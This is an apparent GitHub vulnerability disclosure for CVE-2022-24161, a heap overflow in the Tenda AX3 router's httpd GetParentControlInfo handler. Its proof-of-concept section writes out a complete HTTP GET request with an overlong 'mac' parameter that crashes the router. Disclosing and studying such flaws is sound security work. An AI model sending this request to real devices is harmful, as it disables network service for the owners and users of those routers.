CVE-2022-24161: my_vuln/26.md at main · pjqwudi/my_vuln

Tenda Vulnerability

Vendor:Tenda

Product:AX3

Version:V16.03.12.10_CN(Download Link:https://www.tenda.com.cn/download/detail-3238.html)

Type:Heap Overflow

Author:Jiaqian Peng

Institution:[email protected]

Vulnerability description

We found an heap overflow vulnerability in Tenda router with firmware which was released recently, allows remote attackers to crash the server.

Heap Overflow

In httpd binary:

In GetParentControlInfo function, mac is directly passed by the attacker, If this part of the data is too long, it will cause the heap overflow, so we can control the mac to crash the program.

As you can see here, the input has not been checked. In GetParentControlInfo function, the parameter mac is directly copy to a local variable placed on the heap, which overflow the heap and crash the program.

Supplement

In order to avoid such problems, we believe that the string content should be checked in the input extraction part.

PoC

We set mac as aaaaaaaaaaaaaaaaaaa… , and the router will crash, such as:

GET /goform/GetParentControlInfo?mac=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&random=0.9435881419838728 HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://192.168.1.1/parental_control.html?random=0.5578315870107804& Cookie: password=f5bb0c8de146c67b44babbf4e6584cc0lwgcvb

Result

The target router crashes and cannot provide services correctly and persistently.